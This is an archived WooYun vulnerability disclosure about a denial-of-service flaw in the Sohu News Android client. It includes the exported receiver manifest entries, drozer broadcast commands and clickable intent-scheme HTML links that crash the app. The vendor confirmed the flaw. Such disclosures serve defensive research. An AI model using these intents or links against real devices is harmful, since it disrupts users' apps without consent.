乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-18: 细节已通知厂商并且等待厂商处理中 2015-06-18: 厂商已经确认,细节仅向厂商公开 2015-06-21: 细节向第三方安全合作伙伴开放 2015-08-12: 细节向核心白帽子及相关领域专家公开 2015-08-22: 细节向普通白帽子公开 2015-09-01: 细节向实习白帽子公开 2015-09-16: 细节向公众公开
客户端拒绝服务
恶意软件发起相应的intent消息可使运行中的搜狐新闻Android客户端程序崩溃掉。
@@@ 客户端信息官网下载的最新版本:v5.2.1@@@ AndroidManifest.xml文件中,暴露的BroadcastReceiver组件,可被任意其他应用访问,存在该问题的一共5个组件,配置如下
<receiver android:icon="@drawable/widgeticon4" android:label="@string/widget_4x4" android:name=".app.appwidget.WidgetProvider"> <meta-data android:name="android.appwidget.provider" android:resource="@xml/appwidget_provider"/> <intent-filter> <action android:name="android.appwidget.action.APPWIDGET_ENABLED"/> <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/> <action android:name="android.intent.action.WALLPAPER_CHANGED"/> <action android:name="android.intent.action.AIRPLANE_MODE"/> </intent-filter> </receiver> <receiver android:icon="@drawable/widgeticon1" android:label="@string/widget_weather" android:name=".app.appwidget.WeatherProvider"> <meta-data android:name="android.appwidget.provider" android:resource="@xml/appwidgetweather_provider"/> <intent-filter> <action android:name="android.appwidget.action.APPWIDGET_ENABLED"/> <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/> <action android:name="android.intent.action.WALLPAPER_CHANGED"/> <action android:name="android.intent.action.AIRPLANE_MODE"/> </intent-filter> </receiver> <receiver android:icon="@drawable/widgeticon2" android:label="@string/widget_4x3" android:name=".app.appwidget.NewsProvider"> <meta-data android:name="android.appwidget.provider" android:resource="@xml/appwidgetnews_provider"/> <intent-filter> <action android:name="android.appwidget.action.APPWIDGET_ENABLED"/> <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/> <action android:name="android.intent.action.WALLPAPER_CHANGED"/> <action android:name="android.intent.action.AIRPLANE_MODE"/> </intent-filter> </receiver> <receiver android:name=".app.slientapp.SlientAppDownReciver"> <intent-filter> <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/> <action android:name="com.sohu.newsclient.ACTION_SLIENTAPP_DOWNLOAD"/> </intent-filter> </receiver>
@@@ 模拟发送intent,会导致搜狐新闻客户端没有任何提示,直接崩溃重启@@@ POC 本地利用
dz> run app.broadcast.send --component com.sohu.newsclient com.sohu.newsclient.app.appwidget.WidgetProviderdz> run app.broadcast.send --component com.sohu.newsclient com.sohu.newsclient.app.appwidget.WeatherProviderdz> run app.broadcast.send --component com.sohu.newsclient com.sohu.newsclient.app.appwidget.NewsProviderdz> run app.broadcast.send --component com.sohu.newsclient com.sohu.newsclient.app.slientapp.SlientAppDownReciver
也可以用am命令,就不贴详细命令了@@@ 远程利用,使用IntentScheme
<a href="intent:#Intent;component=com.sohu.newsclient/com.sohu.newsclient.app.appwidget.WidgetProvider;end">click</a><br><a href="intent:#Intent;component=com.sohu.newsclient/com.sohu.newsclient.app.appwidget.WeatherProvider;end">click</a><br><a href="intent:#Intent;component=com.sohu.newsclient/com.sohu.newsclient.app.appwidget.NewsProvider;end">click</a><br><a href="intent:#Intent;component=com.sohu.newsclient/com.sohu.newsclient.app.slientapp.SlientAppDownReciver;end">click</a><br>
你们更懂
危害等级:高
漏洞Rank:10
确认时间:2015-06-18 13:08
感谢支持。
暂无